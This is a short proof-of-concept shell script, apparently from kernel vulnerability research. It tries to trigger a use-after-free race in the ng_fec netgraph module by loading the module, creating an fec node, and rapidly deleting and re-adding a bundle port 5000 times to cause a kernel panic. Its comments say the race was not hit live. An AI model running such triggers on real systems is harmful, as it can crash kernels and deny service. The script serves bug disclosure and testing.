DF-0525 / trigger_df0525.sh
#!/bin/sh # DF-0525 trigger / setup attempt. # # Claim: ng_fec_tick() (sys/netgraph/fec/ng_fec.c:562) iterates the bundle's # port list with TAILQ_FOREACH (line 579) while holding NO lock on the list. # A concurrent NGM_FEC_DEL_IFACE control message runs ng_fec_delport() # (line 417) which, under ifnet_lock() (430), does TAILQ_REMOVE (464) + # kfree(p) (465). The tick dereferences the freed list node -> UAF. # # This script sets up the conditions for the race (as root, since the # netgraph control socket requires SYSCAP_RESTRICTEDROOT): # 1. load ng_fec.ko # 2. create an fec node (-> fec0 iface + starts nothing yet) # 3. add two ethernet interfaces (tap0/tap1) as bundle ports # 4. bring fec0 UP (ng_fec_init -> callout_reset 1hz tick, line 535) # 5. loop: rapid delport+addport of one port to race the 1hz tick # # EXPECTED on a kernel where ng_fec can be instantiated and the race hits: # kernel panic (UAF): either a slab INVARIANTS check # ("memory modified after free" / WEIRD_ADDR) or a NULL-deref / page fault # in ng_fec_tick dereferencing the freed port node. # # ACTUAL on master DEV #0 (with-src): the module canNOT be instantiated -- # step 2 panics in ng_fec_constructor() with "trying to free NULL pointer" # (see panic.txt). This is a SEPARATE ng_fec defect that pre-empts the race. # So the DF-0525 race is confirmed by source-level trace, not by live trigger. PATH=/bin:/usr/bin:/sbin:/usr/sbin echo "[*] loading ng_fec.ko" kldload ng_fec.ko || { echo "kldload failed rc=$?"; exit 1; } echo "[*] creating tap interfaces to use as bundle ports" ifconfig tap0 create 2>/dev/null ifconfig tap1 create 2>/dev/null echo "[*] creating fec node (THIS panics on master DEV -- see panic.txt)" ngctl mkpeer fec ether fec rc=$? echo "[*] ngctl mkpeer rc=$rc (a panic here is the constructor bug, not DF-0525)" # If we ever got past the constructor, the race setup would continue: echo "[*] (if node created) adding ports + bringing bundle up + racing delport" ngctl msg fec0: addiface "\"tap0\"" 2>/dev/null ngctl msg fec0: addiface "\"tap1\"" 2>/dev/null ifconfig fec0 up 2>/dev/null i=0 while [ $i -lt 5000 ]; do ngctl msg fec0: deliface "\"tap1\"" 2>/dev/null ngctl msg fec0: addiface "\"tap1\"" 2>/dev/null i=$((i + 1)) done echo "[*] done (no panic => race not hit this run)" |